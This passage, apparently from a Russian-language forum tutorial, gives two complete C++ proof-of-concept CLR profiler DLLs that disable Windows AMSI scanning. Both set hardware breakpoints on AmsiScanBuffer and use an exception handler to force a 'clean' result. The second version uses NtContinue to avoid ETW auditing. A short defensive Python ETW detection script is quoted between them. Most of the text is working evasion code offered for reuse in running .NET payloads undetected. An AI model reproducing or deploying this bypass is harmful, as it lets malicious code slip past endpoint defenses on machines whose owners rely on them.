SysFreeString(str);
}
VARIANT argsVariant;
VariantInit(&argsVariant);
argsVariant.vt = VT_ARRAY | VT_BSTR;
argsVariant.parray = argsArray;
SAFEARRAY* params = SafeArrayCreateVector(VT_VARIANT, 0, 1);
LONG index = 0;
SafeArrayPutElement(params, &index, &argsVariant);
VariantClear(&argsVariant);
VARIANT returnValue;
VariantInit(&returnValue);
VARIANT emptyObj;
VariantInit(&emptyObj);
hr = entryPoint->Invoke_3(emptyObj, params, &returnValue);
if (FAILED(hr)) {
std::wcerr << L"Failed to invoke EntryPoint: 0x" << std::hex << hr << std::endl;
}
else {
std::wcout << L"Assembly executed successfully!" << std::endl;
if (returnValue.vt == VT_I4) {
std::wcout << L"Return code: " << returnValue.intVal << std::endl;
}
}
return 0;
}
C++:
// Отключи Precompiled Headers
#include <windows.h>
#include <cor.h>
#include <corprof.h>
#include <iostream>
#pragma comment(lib, "corguids.lib")
#define STUB_METHOD(name, ...) STDMETHOD(name)(__VA_ARGS__) { return S_OK; }
PVOID g_amsiScanBufferAddr = nullptr;
bool g_vehRegistered = false;
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN = 0,
AMSI_RESULT_NOT_DETECTED = 1,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
AMSI_RESULT_DETECTED = 32768
} AMSI_RESULT;
typedef void* HAMSICONTEXT;
typedef void* HAMSISESSION;
// Сигнатура AmsiScanBuffer
typedef HRESULT(WINAPI* AmsiScanBuffer_t)(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result
);
LONG WINAPI VectoredExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo)
{
if (pExceptionInfo->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
return EXCEPTION_CONTINUE_SEARCH;
std::cout << "[VEH] VectoredExceptionHandler Called for HWBP!" << std::endl;
CONTEXT* ctx = pExceptionInfo->ContextRecord;
#ifdef _WIN64
PVOID currentIp = (PVOID)ctx->Rip;
#else
PVOID currentIp = (PVOID)ctx->Eip;
#endif
if (currentIp == g_amsiScanBufferAddr)
{
std::cout << "[VEH] AmsiScanBuffer intercepted!" << std::endl;
#ifdef _WIN64
// Можно поставить E_INVALIDARG как в классике
//ctx->Rax = 0x80070057;
// Или более выебисто
// используем смещение 0x30 для 6 аргумента (который AMSI_RESULT)
AMSI_RESULT* pResult = *(AMSI_RESULT**)(ctx->Rsp + 0x30);
__try
{
*pResult = AMSI_RESULT_CLEAN;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
std::cout << "[VEH] Failed to write result" << std::endl;
}
// rax на 0
ctx->Rax = S_OK;
// ret
ctx->Rip = *(DWORD64*)ctx->Rsp;
ctx->Rsp += 8;
#else
// x86
ctx->Eax = 0x80070057;
ctx->Eip = *(DWORD*)ctx->Esp;
ctx->Esp += 4;
#endif
ctx->EFlags |= 0x10000;
std::cout << "[VEH] Returning AMSI_RESULT_CLEAN" << std::endl;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
class MyProfiler : public ICorProfilerCallback3
{
private:
LONG m_refCount;
ICorProfilerInfo* m_pProfilerInfo;
public:
MyProfiler() : m_refCount(1), m_pProfilerInfo(nullptr)
{
std::cout << "=== Thread Profiler Started ===" << std::endl;
}
virtual ~MyProfiler()
{
if (m_pProfilerInfo) m_pProfilerInfo->Release();
std::cout << "=== Thread Profiler Stopped ===" << std::endl;
}
////// IUnknown
STDMETHOD(QueryInterface)(REFIID riid, void** ppv)
{
if (riid == IID_IUnknown || riid == IID_ICorProfilerCallback ||
riid == IID_ICorProfilerCallback2 || riid == IID_ICorProfilerCallback3)
{
*ppv = this;
AddRef();
return S_OK;
}
*ppv = nullptr;
return E_NOINTERFACE;
}
STDMETHOD_(ULONG, AddRef)() { return InterlockedIncrement(&m_refCount); }
STDMETHOD_(ULONG, Release)() { LONG rc = InterlockedDecrement(&m_refCount); if (rc == 0) delete this; return rc; }
////// Инициализация
STDMETHOD(Initialize)(IUnknown* pUnk)
{
HRESULT hr = pUnk->QueryInterface(IID_ICorProfilerInfo3, (void**)&m_pProfilerInfo);
if (SUCCEEDED(hr))
{
hr = m_pProfilerInfo->SetEventMask(COR_PRF_MONITOR_THREADS);
std::cout << "Profiler initialized" << std::endl;
}
return hr;
}
STUB_METHOD(Shutdown)
////// Отслеживание потоков
STDMETHOD(ThreadCreated)(ThreadID tid)
{
DWORD osId = 0;
if (m_pProfilerInfo) m_pProfilerInfo->GetThreadInfo(tid, &osId);
std::cout << ">>> Thread Created" << " (TID: " << std::dec << osId << ")" << std::endl;
std::cout << ">>> Current Thread" << " (TID: " << GetCurrentThreadId() << ")" << std::endl;
if (!g_amsiScanBufferAddr) {
HMODULE hAmsi = GetModuleHandleA("amsi.dll");
if (!hAmsi){ hAmsi = LoadLibraryA("amsi.dll"); }
std::cout << "[+] hAmsi - " << hAmsi << std::endl;
g_amsiScanBufferAddr = GetProcAddress(hAmsi, "AmsiScanBuffer");
}
if (!g_vehRegistered)
{
AddVectoredExceptionHandler(1, VectoredExceptionHandler);
g_vehRegistered = true;
std::cout << "[+] VEH handler registered" << std::endl;
}
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, osId);
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(hThread, &ctx);
DWORD index = 0;
if (ctx.Dr0 != 0) index++;
if (ctx.Dr1 != 0) index++;
if (ctx.Dr2 != 0) index++;
if (ctx.Dr3 != 0) index++;
if (index > 3) { return E_FAIL; }
switch (index)
{
case 0: ctx.Dr0 = (DWORD_PTR)g_amsiScanBufferAddr; break;
case 1: ctx.Dr1 = (DWORD_PTR)g_amsiScanBufferAddr; break;
case 2: ctx.Dr2 = (DWORD_PTR)g_amsiScanBufferAddr; break;
case 3: ctx.Dr3 = (DWORD_PTR)g_amsiScanBufferAddr; break;
}
ctx.Dr7 |= (1ULL << (index * 2));
DWORD_PTR rwOffset = 16 + (index * 4);
ctx.Dr7 &= ~(3ULL << rwOffset); // RW = 00 (execution)
ctx.Dr7 &= ~(3ULL << (rwOffset + 2)); // LEN = 00 (1 byte)
if (!SetThreadContext(hThread, &ctx)) {
std::cout << "Failed to set thread context: " << GetLastError() << std::endl;
}
return S_OK;
}
STUB_METHOD(ThreadDestroyed, ThreadID)
STUB_METHOD(ThreadAssignedToOSThread, ThreadID, DWORD)
//STDMETHOD(ThreadDestroyed)(ThreadID tid)
//{
// std::cout << "<<< Thread Destroyed: 0x" << std::hex << tid << std::dec << std::endl;
// return S_OK;
//}
//STDMETHOD(ThreadAssignedToOSThread)(ThreadID tid, DWORD osId)
//{
// std::cout << "Thread 0x" << std::hex << tid << " -> OS " << std::dec << osId << std::endl;
// return S_OK;
//}
////// Стабы
STUB_METHOD(AppDomainCreationStarted, AppDomainID)
STUB_METHOD(AppDomainCreationFinished, AppDomainID, HRESULT)
STUB_METHOD(AppDomainShutdownStarted, AppDomainID)
STUB_METHOD(AppDomainShutdownFinished, AppDomainID, HRESULT)
STUB_METHOD(AssemblyLoadStarted, AssemblyID)
STUB_METHOD(AssemblyLoadFinished, AssemblyID, HRESULT)
STUB_METHOD(AssemblyUnloadStarted, AssemblyID)
STUB_METHOD(AssemblyUnloadFinished, AssemblyID, HRESULT)
STUB_METHOD(ModuleLoadStarted, ModuleID)
STUB_METHOD(ModuleLoadFinished, ModuleID, HRESULT)
STUB_METHOD(ModuleUnloadStarted, ModuleID)
STUB_METHOD(ModuleUnloadFinished, ModuleID, HRESULT)
STUB_METHOD(ModuleAttachedToAssembly, ModuleID, AssemblyID)
STUB_METHOD(ClassLoadStarted, ClassID)
STUB_METHOD(ClassLoadFinished, ClassID, HRESULT)
STUB_METHOD(ClassUnloadStarted, ClassID)
STUB_METHOD(ClassUnloadFinished, ClassID, HRESULT)
STUB_METHOD(FunctionUnloadStarted, FunctionID)
STUB_METHOD(JITCompilationStarted, FunctionID, BOOL)
STUB_METHOD(JITCompilationFinished, FunctionID, HRESULT, BOOL)
STUB_METHOD(JITCachedFunctionSearchStarted, FunctionID, BOOL*)
STUB_METHOD(JITCachedFunctionSearchFinished, FunctionID, COR_PRF_JIT_CACHE)
STUB_METHOD(JITFunctionPitched, FunctionID)
STUB_METHOD(JITInlining, FunctionID, FunctionID, BOOL*)
STUB_METHOD(UnmanagedToManagedTransition, FunctionID, COR_PRF_TRANSITION_REASON)
STUB_METHOD(ManagedToUnmanagedTransition, FunctionID, COR_PRF_TRANSITION_REASON)
STUB_METHOD(RuntimeSuspendStarted, COR_PRF_SUSPEND_REASON)
STUB_METHOD(RuntimeSuspendFinished)
STUB_METHOD(RuntimeSuspendAborted)
STUB_METHOD(RuntimeResumeStarted)
STUB_METHOD(RuntimeResumeFinished)
STUB_METHOD(RuntimeThreadSuspended, ThreadID)
STUB_METHOD(RuntimeThreadResumed, ThreadID)
STUB_METHOD(MovedReferences, ULONG, ObjectID[], ObjectID[], ULONG[])
STUB_METHOD(ObjectAllocated, ObjectID, ClassID)
STUB_METHOD(ObjectsAllocatedByClass, ULONG, ClassID[], ULONG[])
STUB_METHOD(ObjectReferences, ObjectID, ClassID, ULONG, ObjectID[])
STUB_METHOD(RootReferences, ULONG, ObjectID[])
STUB_METHOD(ExceptionThrown, ObjectID)
STUB_METHOD(ExceptionSearchFunctionEnter, FunctionID)
STUB_METHOD(ExceptionSearchFunctionLeave)
STUB_METHOD(ExceptionSearchFilterEnter, FunctionID)
STUB_METHOD(ExceptionSearchFilterLeave)
STUB_METHOD(ExceptionSearchCatcherFound, FunctionID)
STUB_METHOD(ExceptionOSHandlerEnter, UINT_PTR)
STUB_METHOD(ExceptionOSHandlerLeave, UINT_PTR)
STUB_METHOD(ExceptionUnwindFunctionEnter, FunctionID)
STUB_METHOD(ExceptionUnwindFunctionLeave)
STUB_METHOD(ExceptionUnwindFinallyEnter, FunctionID)
STUB_METHOD(ExceptionUnwindFinallyLeave)
STUB_METHOD(ExceptionCatcherEnter, FunctionID, ObjectID)
STUB_METHOD(ExceptionCatcherLeave)
STUB_METHOD(COMClassicVTableCreated, ClassID, REFGUID, void*, ULONG)
STUB_METHOD(COMClassicVTableDestroyed, ClassID, REFGUID, void*)
STUB_METHOD(ExceptionCLRCatcherFound)
STUB_METHOD(ExceptionCLRCatcherExecute)
STUB_METHOD(RemotingClientInvocationStarted)
STUB_METHOD(RemotingClientSendingMessage, GUID*, BOOL)
STUB_METHOD(RemotingClientReceivingReply, GUID*, BOOL)
STUB_METHOD(RemotingClientInvocationFinished)
STUB_METHOD(RemotingServerReceivingMessage, GUID*, BOOL)
STUB_METHOD(RemotingServerInvocationStarted)
STUB_METHOD(RemotingServerInvocationReturned)
STUB_METHOD(RemotingServerSendingReply, GUID*, BOOL)
// From ICorProfilerCallback2
STUB_METHOD(ThreadNameChanged, ThreadID, ULONG, WCHAR[])
STUB_METHOD(GarbageCollectionStarted, int, BOOL[], COR_PRF_GC_REASON)
STUB_METHOD(SurvivingReferences, ULONG, ObjectID[], ULONG[])
STUB_METHOD(GarbageCollectionFinished)
STUB_METHOD(FinalizeableObjectQueued, DWORD, ObjectID)
STUB_METHOD(RootReferences2, ULONG, ObjectID[], COR_PRF_GC_ROOT_KIND[], COR_PRF_GC_ROOT_FLAGS[], UINT_PTR[])
STUB_METHOD(HandleCreated, GCHandleID, ObjectID)
STUB_METHOD(HandleDestroyed, GCHandleID)
// From ICorProfilerCallback3
STUB_METHOD(InitializeForAttach, IUnknown*, void*, UINT)
STUB_METHOD(ProfilerAttachComplete)
STUB_METHOD(ProfilerDetachSucceeded)
};
class ClassFactory : public IClassFactory
{
LONG m_ref;
public:
ClassFactory() : m_ref(1) {}
STDMETHOD(QueryInterface)(REFIID riid, void** ppv)
{
if (riid == IID_IUnknown || riid == IID_IClassFactory)
{
*ppv = this;
AddRef();
return S_OK;
}
*ppv = nullptr;
return E_NOINTERFACE;
}
STDMETHOD_(ULONG, AddRef)() { return InterlockedIncrement(&m_ref); }
STDMETHOD_(ULONG, Release)() { LONG rc = InterlockedDecrement(&m_ref); if (rc == 0) delete this; return rc; }
STDMETHOD(CreateInstance)(IUnknown* pOuter, REFIID riid, void** ppv)
{
std::cout << "CreateInstance called" << std::endl;
if (pOuter) return CLASS_E_NOAGGREGATION;
MyProfiler* p = new MyProfiler();
if (!p) return E_OUTOFMEMORY;
HRESULT hr = p->QueryInterface(riid, ppv);
return hr;
}
STDMETHOD(LockServer)(BOOL) { return S_OK; }
};
static const GUID CLSID_MyProfiler = { 0x12345678, 0x1234, 0x1234, { 0x12, 0x34, 0x12, 0x34, 0x56, 0x78, 0x90, 0x12 } };
extern "C" BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { return TRUE; }
#pragma comment(linker, "/EXPORT:DllGetClassObject")
#pragma comment(linker, "/EXPORT:DllCanUnloadNow")
extern "C" HRESULT STDAPICALLTYPE DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{
if (rclsid != CLSID_MyProfiler) return CLASS_E_CLASSNOTAVAILABLE;
ClassFactory* f = new ClassFactory();
if (!f) return E_OUTOFMEMORY;
HRESULT hr = f->QueryInterface(riid, ppv);
f->Release();
return hr;
}
extern "C" HRESULT STDAPICALLTYPE DllCanUnloadNow() { return S_OK; }
"Ну, всё?" - нет, не всё.
Проблема остается в том, что NtSetContextThread логирует ETW к провайдеру Microsoft-Windows-Kernel-Audit-API-Calls при каждом вызове.
Это можно проверить запустив скрипт внизу или посмотреть картинку, где показано как Brute Ratel ставит Dr* регистры при вызове его sharpinline.
Python:
'''
Small PoC that permits to hunt processes using NtSetContextThread - also unhooked - by using Microsoft-Windows-Kernel-Audit-API-Calls ETW provider.
Several Red Team tools (ab)uses NtSetContextThread to perform:
- Injection/Thread hijacking
- AMSI/ETW bypass by setting HW Breakpoints
- Memory Evasion
To Run:
- pip install pywintrace
- Need to be Administrator to consume Microsoft-Windows-Kernel-Audit-API-Calls ETW provider
'''
import time
import etw
import os
# define capture provider info
providers = [etw.ProviderInfo('Microsoft-Windows-Kernel-Audit-API-Calls',etw.GUID("{E02A841C-75A3-4FA7-AFC8-AE09CF9B7F23}"))]
# create instance of ETW class
job = etw.ETW(providers=providers, event_callback=lambda x: check_event(x))
def check_event(x):
(event_id, payload) = x
if (event_id == 4):
print("--------------------")
print("[+] Suspected Process called NtSetThreadContext! Check the following process: ")
print("\tPID: " + str(payload['EventHeader']['ProcessId']) + "\tTID: " + str(payload['EventHeader']['ThreadId']))
print("--------------------")
def analyze():
# start capture
job.start()
print("[+] Checking for suspected events for 15 minutes, Ctrl+C to force quit")
# wait some time
time.sleep(900)
# stop capture
job.stop()
if __name__ == '__main__':
try:
analyze()
except KeyboardInterrupt:
print("[-] Ctrl+C: Exiting")
job.stop()
os._exit(1)
"Можно поменять контекст потока без NtSetContextThread?" - можно.
Например, обработчик VEH не использует NtSetContextThread, хотя контекст меняет.
Он использует другую функцию доступную из юзермода - NtContinue.
Конечно NtContinue меняет контекст только текущего потока. Но нам повезло, что CLR делает коллбэки о создании потока из него же.
Поэтому больших переделок не надо.
POC_v2
C++:
// Отключи Precompiled Headers
#include <windows.h>
#include <cor.h>
#include <corprof.h>
#include <iostream>
#pragma comment(lib, "corguids.lib")
#define IMPORTAPI( DLLFILE, FUNCNAME, RETTYPE, ...)\
typedef RETTYPE( WINAPI* type##FUNCNAME )( __VA_ARGS__ );\
type##FUNCNAME FUNCNAME = (type##FUNCNAME)GetProcAddress((LoadLibraryW(DLLFILE), GetModuleHandleW(DLLFILE)), #FUNCNAME);
#define STUB_METHOD(name, ...) STDMETHOD(name)(__VA_ARGS__) { return S_OK; }
PVOID g_amsiScanBufferAddr = nullptr;
bool g_vehRegistered = false;
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN = 0,
AMSI_RESULT_NOT_DETECTED = 1,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
AMSI_RESULT_DETECTED = 32768
} AMSI_RESULT;
typedef void* HAMSICONTEXT;
typedef void* HAMSISESSION;
// Сигнатура AmsiScanBuffer
typedef HRESULT(WINAPI* AmsiScanBuffer_t)(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result
);
LONG WINAPI VectoredExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo)
{
if (pExceptionInfo->ExceptionRecord->ExceptionCode != EXCEPTION_SINGLE_STEP)
return EXCEPTION_CONTINUE_SEARCH;
std::cout << "[VEH] VectoredExceptionHandler Called for HWBP!" << std::endl;
CONTEXT* ctx = pExceptionInfo->ContextRecord;
#ifdef _WIN64
PVOID currentIp = (PVOID)ctx->Rip;
#else
PVOID currentIp = (PVOID)ctx->Eip;
#endif
if (currentIp == g_amsiScanBufferAddr)
{
std::cout << "[VEH] AmsiScanBuffer intercepted!" << std::endl;
#ifdef _WIN64
// Можно поставить E_INVALIDARG как в классике
//ctx->Rax = 0x80070057;
// Или более выебисто
// используем смещение 0x30 для 6 аргумента (который AMSI_RESULT)
AMSI_RESULT* pResult = *(AMSI_RESULT**)(ctx->Rsp + 0x30);
__try
{
*pResult = AMSI_RESULT_CLEAN;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
std::cout << "[VEH] Failed to write result" << std::endl;
}
// rax на 0
ctx->Rax = S_OK;
// ret
ctx->Rip = *(DWORD64*)ctx->Rsp;
ctx->Rsp += 8;
#else
// x86
ctx->Eax = 0x80070057;
ctx->Eip = *(DWORD*)ctx->Esp;
ctx->Esp += 4;
#endif
ctx->EFlags |= 0x10000;
std::cout << "[VEH] Returning AMSI_RESULT_CLEAN" << std::endl;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
class MyProfiler : public ICorProfilerCallback3
{
private:
LONG m_refCount;
ICorProfilerInfo* m_pProfilerInfo;
public:
MyProfiler() : m_refCount(1), m_pProfilerInfo(nullptr)
{
std::cout << "=== Thread Profiler Started ===" << std::endl;
}
virtual ~MyProfiler()
{
if (m_pProfilerInfo) m_pProfilerInfo->Release();
std::cout << "=== Thread Profiler Stopped ===" << std::endl;
}
////// IUnknown
STDMETHOD(QueryInterface)(REFIID riid, void** ppv)
{
if (riid == IID_IUnknown || riid == IID_ICorProfilerCallback ||
riid == IID_ICorProfilerCallback2 || riid == IID_ICorProfilerCallback3)
{
*ppv = this;
AddRef();
return S_OK;
}
*ppv = nullptr;
return E_NOINTERFACE;
}
STDMETHOD_(ULONG, AddRef)() { return InterlockedIncrement(&m_refCount); }
STDMETHOD_(ULONG, Release)() { LONG rc = InterlockedDecrement(&m_refCount); if (rc == 0) delete this; return rc; }
////// Инициализация
STDMETHOD(Initialize)(IUnknown* pUnk)
{
HRESULT hr = pUnk->QueryInterface(IID_ICorProfilerInfo3, (void**)&m_pProfilerInfo);
if (SUCCEEDED(hr))
{
hr = m_pProfilerInfo->SetEventMask(COR_PRF_MONITOR_THREADS);
std::cout << "Profiler initialized" << std::endl;
}
return hr;
}
STUB_METHOD(Shutdown)
////// Отслеживание потоков
STDMETHOD(ThreadCreated)(ThreadID tid)
{
DWORD osId = 0;
if (m_pProfilerInfo) m_pProfilerInfo->GetThreadInfo(tid, &osId);
std::cout << ">>> Thread Created" << " (TID: " << std::dec << osId << ")" << std::endl;
std::cout << ">>> Current Thread" << " (TID: " << GetCurrentThreadId() << ")" << std::endl;
if (!g_amsiScanBufferAddr) {
HMODULE hAmsi = GetModuleHandleA("amsi.dll");
if (!hAmsi) { hAmsi = LoadLibraryA("amsi.dll"); }
std::cout << "[+] hAmsi - " << hAmsi << std::endl;
g_amsiScanBufferAddr = GetProcAddress(hAmsi, "AmsiScanBuffer");
}
if (!g_vehRegistered)
{
AddVectoredExceptionHandler(1, VectoredExceptionHandler);
g_vehRegistered = true;
std::cout << "[+] VEH handler registered" << std::endl;
}
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, osId);
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(hThread, &ctx);
DWORD index = 0;
if (ctx.Dr0 != 0) index++;
if (ctx.Dr1 != 0) index++;
if (ctx.Dr2 != 0) index++;
if (ctx.Dr3 != 0) index++;
if (index > 3) { return E_FAIL; }
switch (index)
{
case 0: ctx.Dr0 = (DWORD_PTR)g_amsiScanBufferAddr; break;
case 1: ctx.Dr1 = (DWORD_PTR)g_amsiScanBufferAddr; break;
case 2: ctx.Dr2 = (DWORD_PTR)g_amsiScanBufferAddr; break;
case 3: ctx.Dr3 = (DWORD_PTR)g_amsiScanBufferAddr; break;
}
ctx.Dr7 |= (1ULL << (index * 2));
DWORD_PTR rwOffset = 16 + (index * 4);
ctx.Dr7 &= ~(3ULL << rwOffset); // RW = 00 (execution)
ctx.Dr7 &= ~(3ULL << (rwOffset + 2)); // LEN = 00 (1 byte)
//NTSTATUS NTAPI NtContinue(
// _In_ PCONTEXT ContextRecord,
// _In_ BOOLEAN TestAlert // нам протсо FALSE
//);
IMPORTAPI(L"NTDLL.dll", NtContinue, NTSTATUS, PCONTEXT, BOOLEAN);
NtContinue(&ctx, FALSE);
return S_OK;
}
STUB_METHOD(ThreadDestroyed, ThreadID)
STUB_METHOD(ThreadAssignedToOSThread, ThreadID, DWORD)
////// Стабы
STUB_METHOD(AppDomainCreationStarted, AppDomainID)
STUB_METHOD(AppDomainCreationFinished, AppDomainID, HRESULT)
STUB_METHOD(AppDomainShutdownStarted, AppDomainID)
STUB_METHOD(AppDomainShutdownFinished, AppDomainID, HRESULT)
STUB_METHOD(AssemblyLoadStarted, AssemblyID)
STUB_METHOD(AssemblyLoadFinished, AssemblyID, HRESULT)
STUB_METHOD(AssemblyUnloadStarted, AssemblyID)
STUB_METHOD(AssemblyUnloadFinished, AssemblyID, HRESULT)
STUB_METHOD(ModuleLoadStarted, ModuleID)
STUB_METHOD(ModuleLoadFinished, ModuleID, HRESULT)
STUB_METHOD(ModuleUnloadStarted, ModuleID)
STUB_METHOD(ModuleUnloadFinished, ModuleID, HRESULT)
STUB_METHOD(ModuleAttachedToAssembly, ModuleID, AssemblyID)
STUB_METHOD(ClassLoadStarted, ClassID)
STUB_METHOD(ClassLoadFinished, ClassID, HRESULT)
STUB_METHOD(ClassUnloadStarted, ClassID)
STUB_METHOD(ClassUnloadFinished, ClassID, HRESULT)
STUB_METHOD(FunctionUnloadStarted, FunctionID)
STUB_METHOD(JITCompilationStarted, FunctionID, BOOL)
STUB_METHOD(JITCompilationFinished, FunctionID, HRESULT, BOOL)
STUB_METHOD(JITCachedFunctionSearchStarted, FunctionID, BOOL*)
STUB_METHOD(JITCachedFunctionSearchFinished, FunctionID, COR_PRF_JIT_CACHE)
STUB_METHOD(JITFunctionPitched, FunctionID)
STUB_METHOD(JITInlining, FunctionID, FunctionID, BOOL*)
STUB_METHOD(UnmanagedToManagedTransition, FunctionID, COR_PRF_TRANSITION_REASON)
STUB_METHOD(ManagedToUnmanagedTransition, FunctionID, COR_PRF_TRANSITION_REASON)
STUB_METHOD(RuntimeSuspendStarted, COR_PRF_SUSPEND_REASON)
STUB_METHOD(RuntimeSuspendFinished)
STUB_METHOD(RuntimeSuspendAborted)
STUB_METHOD(RuntimeResumeStarted)
STUB_METHOD(RuntimeResumeFinished)
STUB_METHOD(RuntimeThreadSuspended, ThreadID)
STUB_METHOD(RuntimeThreadResumed, ThreadID)
STUB_METHOD(MovedReferences, ULONG, ObjectID[], ObjectID[], ULONG[])
STUB_METHOD(ObjectAllocated, ObjectID, ClassID)
STUB_METHOD(ObjectsAllocatedByClass, ULONG, ClassID[], ULONG[])
STUB_METHOD(ObjectReferences, ObjectID, ClassID, ULONG, ObjectID[])
STUB_METHOD(RootReferences, ULONG, ObjectID[])
STUB_METHOD(ExceptionThrown, ObjectID)
STUB_METHOD(ExceptionSearchFunctionEnter, FunctionID)
STUB_METHOD(ExceptionSearchFunctionLeave)
STUB_METHOD(ExceptionSearchFilterEnter, FunctionID)
STUB_METHOD(ExceptionSearchFilterLeave)
STUB_METHOD(ExceptionSearchCatcherFound, FunctionID)
STUB_METHOD(ExceptionOSHandlerEnter, UINT_PTR)
STUB_METHOD(ExceptionOSHandlerLeave, UINT_PTR)
STUB_METHOD(ExceptionUnwindFunctionEnter, FunctionID)
STUB_METHOD(ExceptionUnwindFunctionLeave)
STUB_METHOD(ExceptionUnwindFinallyEnter, FunctionID)
STUB_METHOD(ExceptionUnwindFinallyLeave)
STUB_METHOD(ExceptionCatcherEnter, FunctionID, ObjectID)
STUB_METHOD(ExceptionCatcherLeave)
STUB_METHOD(COMClassicVTableCreated, ClassID, REFGUID, void*, ULONG)
STUB_METHOD(COMClassicVTableDestroyed, ClassID, REFGUID, void*)
STUB_METHOD(ExceptionCLRCatcherFound)
STUB_METHOD(ExceptionCLRCatcherExecute)
STUB_METHOD(RemotingClientInvocationStarted)
STUB_METHOD(RemotingClientSendingMessage, GUID*, BOOL)
STUB_METHOD(RemotingClientReceivingReply, GUID*, BOOL)
STUB_METHOD(RemotingClientInvocationFinished)
STUB_METHOD(RemotingServerReceivingMessage, GUID*, BOOL)
STUB_METHOD(RemotingServerInvocationStarted)
STUB_METHOD(RemotingServerInvocationReturned)
STUB_METHOD(RemotingServerSendingReply, GUID*, BOOL)
// From ICorProfilerCallback2
STUB_METHOD(ThreadNameChanged, ThreadID, ULONG, WCHAR[])
STUB_METHOD(GarbageCollectionStarted, int, BOOL[], COR_PRF_GC_REASON)
STUB_METHOD(SurvivingReferences, ULONG, ObjectID[], ULONG[])
STUB_METHOD(GarbageCollectionFinished)
STUB_METHOD(FinalizeableObjectQueued, DWORD, ObjectID)
STUB_METHOD(RootReferences2, ULONG, ObjectID[], COR_PRF_GC_ROOT_KIND[], COR_PRF_GC_ROOT_FLAGS[], UINT_PTR[])
STUB_METHOD(HandleCreated, GCHandleID, ObjectID)
STUB_METHOD(HandleDestroyed, GCHandleID)
// From ICorProfilerCallback3
STUB_METHOD(InitializeForAttach, IUnknown*, void*, UINT)
STUB_METHOD(ProfilerAttachComplete)
STUB_METHOD(ProfilerDetachSucceeded)
};
class ClassFactory : public IClassFactory
{
LONG m_ref;
public:
ClassFactory() : m_ref(1) {}
STDMETHOD(QueryInterface)(REFIID riid, void** ppv)
{
if (riid == IID_IUnknown || riid == IID_IClassFactory)
{
*ppv = this;
AddRef();
return S_OK;
}
*ppv = nullptr;
return E_NOINTERFACE;
}
STDMETHOD_(ULONG, AddRef)() { return InterlockedIncrement(&m_ref); }
STDMETHOD_(ULONG, Release)() { LONG rc = InterlockedDecrement(&m_ref); if (rc == 0) delete this; return rc; }
STDMETHOD(CreateInstance)(IUnknown* pOuter, REFIID riid, void** ppv)
{
std::cout << "CreateInstance called" << std::endl;
if (pOuter) return CLASS_E_NOAGGREGATION;
MyProfiler* p = new MyProfiler();
if (!p) return E_OUTOFMEMORY;
HRESULT hr = p->QueryInterface(riid, ppv);
return hr;
}
STDMETHOD(LockServer)(BOOL) { return S_OK; }
};
static const GUID CLSID_MyProfiler = { 0x12345678, 0x1234, 0x1234, { 0x12, 0x34, 0x12, 0x34, 0x56, 0x78, 0x90, 0x12 } };
extern "C" BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { return TRUE; }
#pragma comment(linker, "/EXPORT:DllGetClassObject")
#pragma comment(linker, "/EXPORT:DllCanUnloadNow")
extern "C" HRESULT STDAPICALLTYPE DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv)
{
if (rclsid != CLSID_MyProfiler) return CLASS_E_CLASSNOTAVAILABLE;
ClassFactory* f = new ClassFactory();
if (!f) return E_OUTOFMEMORY;
HRESULT hr = f->QueryInterface(riid, ppv);
f->Release();
return hr;
}
extern "C" HRESULT STDAPICALLTYPE DllCanUnloadNow() { return S_OK; }
ЭПИЛОГ
В общем, если это читает тот, кому правда надо запускать .NET - советую тебе начинать с хостинга и читать дополнительно:https://www.r-tec.net/r-tec-blog-bypass-amsi-in-2025.html
https://www.nttdata.com/global/en/-...radar_magazine/2024/radar_supplement_july.pdf
https://www.crowdstrike.com/en-us/b...ates-threat-of-patchless-amsi-bypass-attacks/
https://habr.com/ru/articles/758550/
Надеюсь я тебе чем-то помог.
